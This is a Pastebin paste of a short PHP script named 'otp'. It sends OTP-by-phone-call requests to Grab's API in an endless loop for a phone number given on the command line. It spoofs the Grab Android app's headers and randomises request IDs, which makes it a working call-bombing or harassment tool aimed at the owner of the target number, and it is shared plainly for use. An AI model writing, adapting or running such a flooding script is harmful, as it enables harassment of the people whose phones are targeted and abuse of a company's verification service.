Advertisement
P22DX

otp

Jan 7th, 2019
1,066
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.03 KB | None | 0 0
  1. #!/usr/bin/env php
  2. <?php
  3. if(!( isset($argv[2]) && is_numeric($argv[2]) )) {
  4. die("./otp {country id} {phone number}\n");
  5. }
  6.  
  7. $post ="method=CALL&countryCode=$argv[1]&phoneNumber=$argv[2]&templateID=pax_android_production";
  8.  
  9. for($x=1;$x>0;$x++) {
  10.     $header[$x]=array(
  11.     "x-request-id: ebf61bc3-8092-4924-bf45-".rand(0000,9999),
  12.     "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8",
  13.     "User-Agent: Grab/5.20.0 (Android ".rand(1,6).".0.1; Build ".rand(1,99),
  14.     "Content-Type: application/x-www-form-urlencoded",
  15.     "Content-Length: ".strlen($post),
  16.     "Host: api.grab.com",
  17.     "Connection: close"
  18.     );
  19.  
  20.     $ch[$x] = curl_init();
  21.     curl_setopt($ch[$x], CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp");
  22.     curl_setopt($ch[$x], CURLOPT_POST, true);
  23.     curl_setopt($ch[$x], CURLOPT_POSTFIELDS, $post);
  24.     curl_setopt($ch[$x], CURLOPT_HTTPHEADER, $header[$x]);
  25.     curl_setopt($ch[$x], CURLOPT_RETURNTRANSFER, 1);
  26.     echo curl_exec($ch[$x])."\n";
  27.     curl_close($ch[$x]);
  28.     unset($header[$x], $ch[$x]);
  29. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement